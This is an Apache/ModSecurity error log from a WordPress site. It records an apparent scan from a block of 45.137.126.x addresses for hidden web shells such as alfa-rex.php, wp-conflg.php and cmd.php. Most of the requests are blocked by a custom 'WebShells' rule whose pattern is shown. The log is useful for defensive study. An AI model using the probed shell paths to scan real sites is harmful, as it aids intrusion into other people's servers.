[Sun Apr 19 02:48:35.208842 2026] [:error] [pid 60910:tid 60935] [client 45.137.126.55:32747] [client 45.137.126.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aePSA3FWunkyacYqsD1OqwAAAVc"]
[Sun Apr 19 02:48:48.748281 2026] [:error] [pid 41277:tid 41286] [client 45.137.126.54:40771] [client 45.137.126.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "aePSEEH3ayszMLZYflsHsgAAAYc"]
[Sun Apr 19 02:48:50.956659 2026] [:error] [pid 32252:tid 32263] [client 45.137.126.76:30073] [client 45.137.126.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aePSEuXl4Yc-Lt5fJ9it4AAAAQk"]
[Sun Apr 19 02:48:55.786313 2026] [:error] [pid 60910:tid 60925] [client 45.137.126.87:29213] [client 45.137.126.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aePSF3FWunkyacYqsD1OsgAAAU0"]
[Sun Apr 19 02:48:56.819132 2026] [:error] [pid 33517:tid 33530] [client 45.137.126.73:41607] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aePSGH4Zz-rubR1wiZ-8tAAAAMs"]
[Sun Apr 19 02:48:57.842507 2026] [:error] [pid 32167:tid 32226] [client 45.137.126.83:29541] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aePSGUyD4Jm27Mb3NJiZswAAAIE"]
[Sun Apr 19 02:49:02.317890 2026] [:error] [pid 32166:tid 32216] [client 45.137.126.75:44081] [client 45.137.126.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aePSHpCHNkWwdiZnafLYeQAAAFI"]
[Sun Apr 19 02:49:15.220201 2026] [:error] [pid 32166:tid 32214] [client 45.137.126.95:51247] [client 45.137.126.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-pie.php"] [unique_id "aePSK5CHNkWwdiZnafLYgwAAAFA"]
[Sun Apr 19 02:49:22.719250 2026] [:error] [pid 33517:tid 33526] [client 45.137.126.63:61031] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "aePSMn4Zz-rubR1wiZ-80AAAAMc"]
[Sun Apr 19 02:49:27.560944 2026] [:error] [pid 32167:tid 32248] [client 45.137.126.68:47557] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/nav-menu.php"] [unique_id "aePSN0yD4Jm27Mb3NJiZ0AAAAJc"]
[Sun Apr 19 02:49:28.621707 2026] [:error] [pid 32165:tid 32179] [client 45.137.126.89:31815] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/user.php"] [unique_id "aePSOKe2vKwEk_N0BrYA3wAAAAo"]
[Sun Apr 19 02:49:47.349748 2026] [:error] [pid 32166:tid 32198] [client 45.137.126.88:43193] [client 45.137.126.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aePSS5CHNkWwdiZnafLYqgAAAEA"]
[Sun Apr 19 02:49:48.373328 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.60:27521] [client 45.137.126.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aePSTEyD4Jm27Mb3NJiZ5QAAAIQ"]
[Sun Apr 19 02:49:49.401991 2026] [:error] [pid 41277:tid 41286] [client 45.137.126.67:50387] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aePSTUH3ayszMLZYflsHwQAAAYc"]
[Sun Apr 19 02:49:52.662041 2026] [:error] [pid 32167:tid 32249] [client 45.137.126.73:64027] [client 45.137.126.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aePSUEyD4Jm27Mb3NJiZ7gAAAJg"]
[Sun Apr 19 02:49:55.993971 2026] [:error] [pid 32167:tid 32241] [client 45.137.126.73:64027] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aePSU0yD4Jm27Mb3NJiZ-gAAAJA"]
[Sun Apr 19 02:49:57.021228 2026] [:error] [pid 33517:tid 33532] [client 45.137.126.67:25605] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aePSVX4Zz-rubR1wiZ-83QAAAM0"]
[Sun Apr 19 02:49:58.046896 2026] [:error] [pid 32167:tid 32228] [client 45.137.126.81:44003] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "aePSVkyD4Jm27Mb3NJiZ_wAAAIM"]
[Sun Apr 19 02:50:09.180475 2026] [:error] [pid 32252:tid 32275] [client 45.137.126.60:60769] [client 45.137.126.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aePSYeXl4Yc-Lt5fJ9iuNgAAARU"]
[Sun Apr 19 02:50:21.756880 2026] [:error] [pid 32165:tid 32180] [client 45.137.126.77:57325] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aePSbae2vKwEk_N0BrYA_AAAAAs"]
[Sun Apr 19 02:50:22.804432 2026] [authz_core:error] [pid 32165:tid 32186] [client 45.137.126.99:37259] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/views/cmd.php
[Sun Apr 19 02:50:25.555998 2026] [:error] [pid 32165:tid 32180] [client 45.137.126.99:37259] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aePScae2vKwEk_N0BrYBBwAAAAs"]
[Sun Apr 19 02:50:45.848124 2026] [:error] [pid 32167:tid 32239] [client 45.137.126.103:49601] [client 45.137.126.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aePShUyD4Jm27Mb3NJiaXAAAAI4"]
[Sun Apr 19 02:50:46.872383 2026] [:error] [pid 60910:tid 60913] [client 45.137.126.66:56327] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aePShnFWunkyacYqsD1PIgAAAUE"]
[Sun Apr 19 02:50:47.920744 2026] [:error] [pid 32252:tid 32258] [client 45.137.126.105:52831] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aePSh-Xl4Yc-Lt5fJ9iuVQAAAQQ"]
[Sun Apr 19 02:50:48.953691 2026] [:error] [pid 32252:tid 32255] [client 45.137.126.73:52805] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aePSiOXl4Yc-Lt5fJ9iuWgAAAQE"]
[Sun Apr 19 02:50:55.336466 2026] [:error] [pid 32166:tid 32216] [client 45.137.126.62:54675] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aePSj5CHNkWwdiZnafLYwwAAAFI"]
[Sun Apr 19 02:50:56.378321 2026] [:error] [pid 60910:tid 60915] [client 45.137.126.60:32607] [client 45.137.126.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "aePSkHFWunkyacYqsD1PMAAAAUM"]
[Sun Apr 19 02:51:05.519305 2026] [:error] [pid 41277:tid 41297] [client 45.137.126.96:54377] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aePSmUH3ayszMLZYflsIEAAAAZI"]
[Sun Apr 19 02:51:13.476462 2026] [:error] [pid 41277:tid 41279] [client 45.137.126.101:21503] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aePSoUH3ayszMLZYflsIJQAAAYA"]
[Sun Apr 19 02:51:14.498850 2026] [:error] [pid 41277:tid 41292] [client 45.137.126.91:36577] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "aePSokH3ayszMLZYflsIKgAAAY0"]
[Sun Apr 19 02:51:18.298575 2026] [autoindex:error] [pid 32167:tid 32237] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:21.886805 2026] [autoindex:error] [pid 32167:tid 32244] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:31.350709 2026] [autoindex:error] [pid 32167:tid 32242] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:33.402686 2026] [autoindex:error] [pid 32167:tid 32231] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:38.866449 2026] [autoindex:error] [pid 32167:tid 32226] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:39.395353 2026] [autoindex:error] [pid 32167:tid 32227] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:39.916458 2026] [autoindex:error] [pid 32167:tid 32240] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:44.067183 2026] [autoindex:error] [pid 32167:tid 32231] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:44.603982 2026] [autoindex:error] [pid 32167:tid 32247] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:46.301424 2026] [autoindex:error] [pid 32167:tid 32234] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:46.828019 2026] [autoindex:error] [pid 32167:tid 32232] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:47.348270 2026] [autoindex:error] [pid 32167:tid 32241] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:48.408480 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:48.923170 2026] [autoindex:error] [pid 32167:tid 32229] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:49.447518 2026] [autoindex:error] [pid 32167:tid 32232] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:54.136380 2026] [autoindex:error] [pid 32167:tid 32248] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:54.654518 2026] [autoindex:error] [pid 32167:tid 32243] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:55.175812 2026] [autoindex:error] [pid 32167:tid 32225] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:55.691827 2026] [autoindex:error] [pid 32167:tid 32231] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:56.208784 2026] [autoindex:error] [pid 32167:tid 32227] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:56.731073 2026] [autoindex:error] [pid 32167:tid 32233] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:58.735938 2026] [autoindex:error] [pid 32167:tid 32236] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:51:59.268182 2026] [autoindex:error] [pid 32167:tid 32238] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:52:04.268706 2026] [autoindex:error] [pid 32167:tid 32237] [client 45.137.126.60:55539] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
